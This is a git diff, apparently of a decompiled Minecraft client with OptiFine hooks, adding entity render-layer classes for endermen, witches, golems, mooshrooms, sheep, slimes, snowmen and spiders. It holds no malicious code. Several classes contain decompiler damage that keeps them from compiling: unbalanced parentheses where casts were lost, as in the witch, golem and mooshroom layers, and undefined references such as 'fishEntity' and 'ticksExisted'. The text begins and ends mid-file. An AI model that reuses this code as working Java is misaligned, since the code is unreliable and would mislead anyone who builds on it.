+    func_177201_a((EntityEnderman)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldBlock.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldBlock.java
new file mode 100644
index 0000000..bfd55f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldBlock.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.entity.RenderEnderman;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEnderman;
+
+public class LayerHeldBlock implements LayerRenderer
+{
+  private final RenderEnderman field_177174_a;
+  private static final String __OBFID = "CL_00002424";
+  
+  public LayerHeldBlock(RenderEnderman p_i46122_1_)
+  {
+    field_177174_a = p_i46122_1_;
+  }
+  
+  public void func_177173_a(EntityEnderman p_177173_1_, float p_177173_2_, float p_177173_3_, float p_177173_4_, float p_177173_5_, float p_177173_6_, float p_177173_7_, float p_177173_8_)
+  {
+    IBlockState var9 = p_177173_1_.func_175489_ck();
+    
+    if (var9.getBlock().getMaterial() != net.minecraft.block.material.Material.air)
+    {
+      BlockRendererDispatcher var10 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+      GlStateManager.enableRescaleNormal();
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 0.6875F, -0.75F);
+      GlStateManager.rotate(20.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(0.25F, 0.1875F, 0.25F);
+      float var11 = 0.5F;
+      GlStateManager.scale(-var11, -var11, var11);
+      int var12 = p_177173_1_.getBrightnessForRender(p_177173_4_);
+      int var13 = var12 % 65536;
+      int var14 = var12 / 65536;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var13 / 1.0F, var14 / 1.0F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      field_177174_a.bindTexture(TextureMap.locationBlocksTexture);
+      var10.func_175016_a(var9, 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.disableRescaleNormal();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177173_a((EntityEnderman)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItem.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItem.java
new file mode 100644
index 0000000..a8e1864
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItem.java
@@ -0,0 +1,71 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class LayerHeldItem implements LayerRenderer
+{
+  private final RendererLivingEntity field_177206_a;
+  private static final String __OBFID = "CL_00002416";
+  
+  public LayerHeldItem(RendererLivingEntity p_i46115_1_)
+  {
+    field_177206_a = p_i46115_1_;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    ItemStack var9 = p_177141_1_.getHeldItem();
+    
+    if (var9 != null)
+    {
+      GlStateManager.pushMatrix();
+      
+      if (field_177206_a.getMainModel().isChild)
+      {
+        float var10 = 0.5F;
+        GlStateManager.translate(0.0F, 0.625F, 0.0F);
+        GlStateManager.rotate(-20.0F, -1.0F, 0.0F, 0.0F);
+        GlStateManager.scale(var10, var10, var10);
+      }
+      
+      ((ModelBiped)field_177206_a.getMainModel()).postRenderHiddenArm(0.0625F);
+      GlStateManager.translate(-0.0625F, 0.4375F, 0.0625F);
+      
+      if (((p_177141_1_ instanceof EntityPlayer)) && (fishEntity != null))
+      {
+        var9 = new ItemStack(Items.fishing_rod, 0);
+      }
+      
+      Item var13 = var9.getItem();
+      Minecraft var11 = Minecraft.getMinecraft();
+      
+      if (((var13 instanceof net.minecraft.item.ItemBlock)) && (Block.getBlockFromItem(var13).getRenderType() == 2))
+      {
+        GlStateManager.translate(0.0F, 0.1875F, -0.3125F);
+        GlStateManager.rotate(20.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+        float var12 = 0.375F;
+        GlStateManager.scale(-var12, -var12, var12);
+      }
+      
+      var11.getItemRenderer().renderItem(p_177141_1_, var9, net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType.THIRD_PERSON);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch.java
new file mode 100644
index 0000000..1e67800
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch.java
@@ -0,0 +1,106 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.model.ModelWitch;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.entity.RenderWitch;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class LayerHeldItemWitch implements LayerRenderer
+{
+  private final RenderWitch field_177144_a;
+  private static final String __OBFID = "CL_00002407";
+  
+  public LayerHeldItemWitch(RenderWitch p_i46106_1_)
+  {
+    field_177144_a = p_i46106_1_;
+  }
+  
+  public void func_177143_a(EntityWitch p_177143_1_, float p_177143_2_, float p_177143_3_, float p_177143_4_, float p_177143_5_, float p_177143_6_, float p_177143_7_, float p_177143_8_)
+  {
+    ItemStack var9 = p_177143_1_.getHeldItem();
+    
+    if (var9 != null)
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F);
+      GlStateManager.pushMatrix();
+      
+      if (field_177144_a.getMainModel().isChild)
+      {
+        GlStateManager.translate(0.0F, 0.625F, 0.0F);
+        GlStateManager.rotate(-20.0F, -1.0F, 0.0F, 0.0F);
+        float var10 = 0.5F;
+        GlStateManager.scale(var10, var10, var10);
+      }
+      
+      field_177144_a.getMainModel()).villagerNose.postRender(0.0625F);
+      GlStateManager.translate(-0.0625F, 0.53125F, 0.21875F);
+      Item var13 = var9.getItem();
+      Minecraft var11 = Minecraft.getMinecraft();
+      
+
+      if (((var13 instanceof net.minecraft.item.ItemBlock)) && (var11.getBlockRendererDispatcher().func_175021_a(net.minecraft.block.Block.getBlockFromItem(var13), var9.getMetadata())))
+      {
+        GlStateManager.translate(0.0F, 0.1875F, -0.3125F);
+        GlStateManager.rotate(20.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+        float var12 = 0.375F;
+        GlStateManager.scale(var12, -var12, var12);
+      }
+      else if (var13 == net.minecraft.init.Items.bow)
+      {
+        GlStateManager.translate(0.0F, 0.125F, 0.3125F);
+        GlStateManager.rotate(-20.0F, 0.0F, 1.0F, 0.0F);
+        float var12 = 0.625F;
+        GlStateManager.scale(var12, -var12, var12);
+        GlStateManager.rotate(-100.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+      }
+      else if (var13.isFull3D())
+      {
+        if (var13.shouldRotateAroundWhenRendering())
+        {
+          GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+          GlStateManager.translate(0.0F, -0.125F, 0.0F);
+        }
+        
+        field_177144_a.func_82422_c();
+        float var12 = 0.625F;
+        GlStateManager.scale(var12, -var12, var12);
+        GlStateManager.rotate(-100.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+      }
+      else
+      {
+        GlStateManager.translate(0.25F, 0.1875F, -0.1875F);
+        float var12 = 0.375F;
+        GlStateManager.scale(var12, var12, var12);
+        GlStateManager.rotate(60.0F, 0.0F, 0.0F, 1.0F);
+        GlStateManager.rotate(-90.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(20.0F, 0.0F, 0.0F, 1.0F);
+      }
+      
+      GlStateManager.rotate(-15.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(40.0F, 0.0F, 0.0F, 1.0F);
+      var11.getItemRenderer().renderItem(p_177143_1_, var9, net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType.THIRD_PERSON);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177143_a((EntityWitch)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower.java
new file mode 100644
index 0000000..677a8ec
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelIronGolem;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.entity.RenderIronGolem;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+
+public class LayerIronGolemFlower implements LayerRenderer
+{
+  private final RenderIronGolem field_177154_a;
+  private static final String __OBFID = "CL_00002408";
+  
+  public LayerIronGolemFlower(RenderIronGolem p_i46107_1_)
+  {
+    field_177154_a = p_i46107_1_;
+  }
+  
+  public void func_177153_a(EntityIronGolem p_177153_1_, float p_177153_2_, float p_177153_3_, float p_177153_4_, float p_177153_5_, float p_177153_6_, float p_177153_7_, float p_177153_8_)
+  {
+    if (p_177153_1_.getHoldRoseTick() != 0)
+    {
+      BlockRendererDispatcher var9 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+      GlStateManager.enableRescaleNormal();
+      GlStateManager.pushMatrix();
+      GlStateManager.rotate(5.0F + 180.0F * field_177154_a.getMainModel()).ironGolemRightArm.rotateAngleX / 3.1415927F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.translate(-0.9375F, -0.625F, -0.9375F);
+      float var10 = 0.5F;
+      GlStateManager.scale(var10, -var10, var10);
+      int var11 = p_177153_1_.getBrightnessForRender(p_177153_4_);
+      int var12 = var11 % 65536;
+      int var13 = var11 / 65536;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var12 / 1.0F, var13 / 1.0F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      field_177154_a.bindTexture(TextureMap.locationBlocksTexture);
+      var9.func_175016_a(net.minecraft.init.Blocks.red_flower.getDefaultState(), 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.disableRescaleNormal();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177153_a((EntityIronGolem)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom.java
new file mode 100644
index 0000000..77227c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom.java
@@ -0,0 +1,66 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.block.BlockBush;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelQuadruped;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderMooshroom;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityMooshroom;
+import net.minecraft.init.Blocks;
+
+public class LayerMooshroomMushroom implements LayerRenderer
+{
+  private final RenderMooshroom field_177205_a;
+  private static final String __OBFID = "CL_00002415";
+  
+  public LayerMooshroomMushroom(RenderMooshroom p_i46114_1_)
+  {
+    field_177205_a = p_i46114_1_;
+  }
+  
+  public void func_177204_a(EntityMooshroom p_177204_1_, float p_177204_2_, float p_177204_3_, float p_177204_4_, float p_177204_5_, float p_177204_6_, float p_177204_7_, float p_177204_8_)
+  {
+    if ((!p_177204_1_.isChild()) && (!p_177204_1_.isInvisible()))
+    {
+      BlockRendererDispatcher var9 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+      field_177205_a.bindTexture(net.minecraft.client.renderer.texture.TextureMap.locationBlocksTexture);
+      GlStateManager.enableCull();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F, -1.0F, 1.0F);
+      GlStateManager.translate(0.2F, 0.35F, 0.5F);
+      GlStateManager.rotate(42.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(-0.5F, -0.5F, 0.5F);
+      var9.func_175016_a(Blocks.red_mushroom.getDefaultState(), 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.1F, 0.0F, -0.6F);
+      GlStateManager.rotate(42.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(-0.5F, -0.5F, 0.5F);
+      var9.func_175016_a(Blocks.red_mushroom.getDefaultState(), 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      field_177205_a.getMainModel()).head.postRender(0.0625F);
+      GlStateManager.scale(1.0F, -1.0F, 1.0F);
+      GlStateManager.translate(0.0F, 0.7F, -0.2F);
+      GlStateManager.rotate(12.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(-0.5F, -0.5F, 0.5F);
+      var9.func_175016_a(Blocks.red_mushroom.getDefaultState(), 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.disableCull();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177204_a((EntityMooshroom)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerRenderer.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerRenderer.java
new file mode 100644
index 0000000..3c57f44
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerRenderer.java
@@ -0,0 +1,10 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.entity.EntityLivingBase;
+
+public abstract interface LayerRenderer
+{
+  public abstract void doRenderLayer(EntityLivingBase paramEntityLivingBase, float paramFloat1, float paramFloat2, float paramFloat3, float paramFloat4, float paramFloat5, float paramFloat6, float paramFloat7);
+  
+  public abstract boolean shouldCombineTextures();
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSaddle.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSaddle.java
new file mode 100644
index 0000000..ea90dbc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSaddle.java
@@ -0,0 +1,40 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelPig;
+import net.minecraft.client.renderer.entity.RenderPig;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.util.ResourceLocation;
+
+public class LayerSaddle implements LayerRenderer
+{
+  private static final ResourceLocation TEXTURE = new ResourceLocation("textures/entity/pig/pig_saddle.png");
+  private final RenderPig pigRenderer;
+  private final ModelPig pigModel = new ModelPig(0.5F);
+  private static final String __OBFID = "CL_00002414";
+  
+  public LayerSaddle(RenderPig p_i46113_1_)
+  {
+    pigRenderer = p_i46113_1_;
+  }
+  
+  public void doRenderLayer(EntityPig p_177155_1_, float p_177155_2_, float p_177155_3_, float p_177155_4_, float p_177155_5_, float p_177155_6_, float p_177155_7_, float p_177155_8_)
+  {
+    if (p_177155_1_.getSaddled())
+    {
+      pigRenderer.bindTexture(TEXTURE);
+      pigModel.setModelAttributes(pigRenderer.getMainModel());
+      pigModel.render(p_177155_1_, p_177155_2_, p_177155_3_, p_177155_5_, p_177155_6_, p_177155_7_, p_177155_8_);
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    doRenderLayer((EntityPig)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSheepWool.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSheepWool.java
new file mode 100644
index 0000000..1112cca
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSheepWool.java
@@ -0,0 +1,77 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelSheep1;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderSheep;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomColors;
+
+public class LayerSheepWool implements LayerRenderer
+{
+  private static final ResourceLocation TEXTURE = new ResourceLocation("textures/entity/sheep/sheep_fur.png");
+  private final RenderSheep sheepRenderer;
+  private final ModelSheep1 sheepModel = new ModelSheep1();
+  private static final String __OBFID = "CL_00002413";
+  
+  public LayerSheepWool(RenderSheep p_i46112_1_)
+  {
+    sheepRenderer = p_i46112_1_;
+  }
+  
+  public void doRenderLayer(EntitySheep p_177162_1_, float p_177162_2_, float p_177162_3_, float p_177162_4_, float p_177162_5_, float p_177162_6_, float p_177162_7_, float p_177162_8_)
+  {
+    if ((!p_177162_1_.getSheared()) && (!p_177162_1_.isInvisible()))
+    {
+      sheepRenderer.bindTexture(TEXTURE);
+      
+      if ((p_177162_1_.hasCustomName()) && ("jeb_".equals(p_177162_1_.getCustomNameTag())))
+      {
+        boolean var91 = true;
+        int var10 = ticksExisted / 25 + p_177162_1_.getEntityId();
+        int var11 = EnumDyeColor.values().length;
+        int var12 = var10 % var11;
+        int var13 = (var10 + 1) % var11;
+        float var14 = (ticksExisted % 25 + p_177162_4_) / 25.0F;
+        float[] var15 = EntitySheep.func_175513_a(EnumDyeColor.func_176764_b(var12));
+        float[] var16 = EntitySheep.func_175513_a(EnumDyeColor.func_176764_b(var13));
+        
+        if (Config.isCustomColors())
+        {
+          var15 = CustomColors.getSheepColors(EnumDyeColor.func_176764_b(var12), var15);
+          var16 = CustomColors.getSheepColors(EnumDyeColor.func_176764_b(var13), var16);
+        }
+        
+        GlStateManager.color(var15[0] * (1.0F - var14) + var16[0] * var14, var15[1] * (1.0F - var14) + var16[1] * var14, var15[2] * (1.0F - var14) + var16[2] * var14);
+      }
+      else
+      {
+        float[] var9 = EntitySheep.func_175513_a(p_177162_1_.func_175509_cj());
+        
+        if (Config.isCustomColors())
+        {
+          var9 = CustomColors.getSheepColors(p_177162_1_.func_175509_cj(), var9);
+        }
+        
+        GlStateManager.color(var9[0], var9[1], var9[2]);
+      }
+      
+      sheepModel.setModelAttributes(sheepRenderer.getMainModel());
+      sheepModel.setLivingAnimations(p_177162_1_, p_177162_2_, p_177162_3_, p_177162_4_);
+      sheepModel.render(p_177162_1_, p_177162_2_, p_177162_3_, p_177162_5_, p_177162_6_, p_177162_7_, p_177162_8_);
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    doRenderLayer((EntitySheep)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSlimeGel.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSlimeGel.java
new file mode 100644
index 0000000..35e4a4b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSlimeGel.java
@@ -0,0 +1,45 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelSlime;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderSlime;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySlime;
+
+public class LayerSlimeGel implements LayerRenderer
+{
+  private final RenderSlime slimeRenderer;
+  private final ModelBase slimeModel = new ModelSlime(0);
+  private static final String __OBFID = "CL_00002412";
+  
+  public LayerSlimeGel(RenderSlime p_i46111_1_)
+  {
+    slimeRenderer = p_i46111_1_;
+  }
+  
+  public void doRenderLayer(EntitySlime p_177159_1_, float p_177159_2_, float p_177159_3_, float p_177159_4_, float p_177159_5_, float p_177159_6_, float p_177159_7_, float p_177159_8_)
+  {
+    if (!p_177159_1_.isInvisible())
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.enableNormalize();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      slimeModel.setModelAttributes(slimeRenderer.getMainModel());
+      slimeModel.render(p_177159_1_, p_177159_2_, p_177159_3_, p_177159_5_, p_177159_6_, p_177159_7_, p_177159_8_);
+      GlStateManager.disableBlend();
+      GlStateManager.disableNormalize();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    doRenderLayer((EntitySlime)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSnowmanHead.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSnowmanHead.java
new file mode 100644
index 0000000..2f3fe27
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSnowmanHead.java
@@ -0,0 +1,46 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.entity.RenderSnowMan;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.item.ItemStack;
+
+public class LayerSnowmanHead implements LayerRenderer
+{
+  private final RenderSnowMan field_177152_a;
+  private static final String __OBFID = "CL_00002411";
+  
+  public LayerSnowmanHead(RenderSnowMan p_i46110_1_)
+  {
+    field_177152_a = p_i46110_1_;
+  }
+  
+  public void func_177151_a(EntitySnowman p_177151_1_, float p_177151_2_, float p_177151_3_, float p_177151_4_, float p_177151_5_, float p_177151_6_, float p_177151_7_, float p_177151_8_)
+  {
+    if (!p_177151_1_.isInvisible())
+    {
+      GlStateManager.pushMatrix();
+      field_177152_a.func_177123_g().head.postRender(0.0625F);
+      float var9 = 0.625F;
+      GlStateManager.translate(0.0F, -0.34375F, 0.0F);
+      GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.scale(var9, -var9, -var9);
+      Minecraft.getMinecraft().getItemRenderer().renderItem(p_177151_1_, new ItemStack(net.minecraft.init.Blocks.pumpkin, 1), net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType.HEAD);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177151_a((EntitySnowman)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSpiderEyes.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSpiderEyes.java
new file mode 100644
index 0000000..0c91581
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerSpiderEyes.java
@@ -0,0 +1,69 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.entity.RenderSpider;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.util.ResourceLocation;
+import shadersmod.client.Shaders;
+
+public class LayerSpiderEyes implements LayerRenderer
+{
+  private static final ResourceLocation field_177150_a = new ResourceLocation("textures/entity/spider_eyes.png");
+  private final RenderSpider field_177149_b;
+  private static final String __OBFID = "CL_00002410";
+  
+  public LayerSpiderEyes(RenderSpider p_i46109_1_)
+  {
+    field_177149_b = p_i46109_1_;
+  }
+  
+  public void func_177148_a(EntitySpider p_177148_1_, float p_177148_2_, float p_177148_3_, float p_177148_4_, float p_177148_5_, float p_177148_6_, float p_177148_7_, float p_177148_8_)
+  {
+    field_177149_b.bindTexture(field_177150_a);
+    GlStateManager.enableBlend();
+    GlStateManager.disableAlpha();
+    GlStateManager.blendFunc(1, 1);
+    
+    if (p_177148_1_.isInvisible())
+    {
+      GlStateManager.depthMask(false);
+    }
+    else
+    {
+      GlStateManager.depthMask(true);
+    }
+    
+    char var9 = 61680;
+    int var10 = var9 % 65536;
+    int var11 = var9 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var10 / 1.0F, var11 / 1.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    
+    if (optifine.Config.isShaders())
+    {
+      Shaders.beginSpiderEyes();
+    }
+    
+    field_177149_b.getMainModel().render(p_177148_1_, p_177148_2_, p_177148_3_, p_177148_5_, p_177148_6_, p_177148_7_, p_177148_8_);
+    int var12 = p_177148_1_.getBrightnessForRender(p_177148_4_);
+    var10 = var12 % 65536;
+    var11 = var12 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var10 / 1.0F, var11 / 1.0F);
+    field_177149_b.func_177105_a(p_177148_1_, p_177148_4_);
+    GlStateManager.disableBlend();
+    GlStateManager.enableAlpha();
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
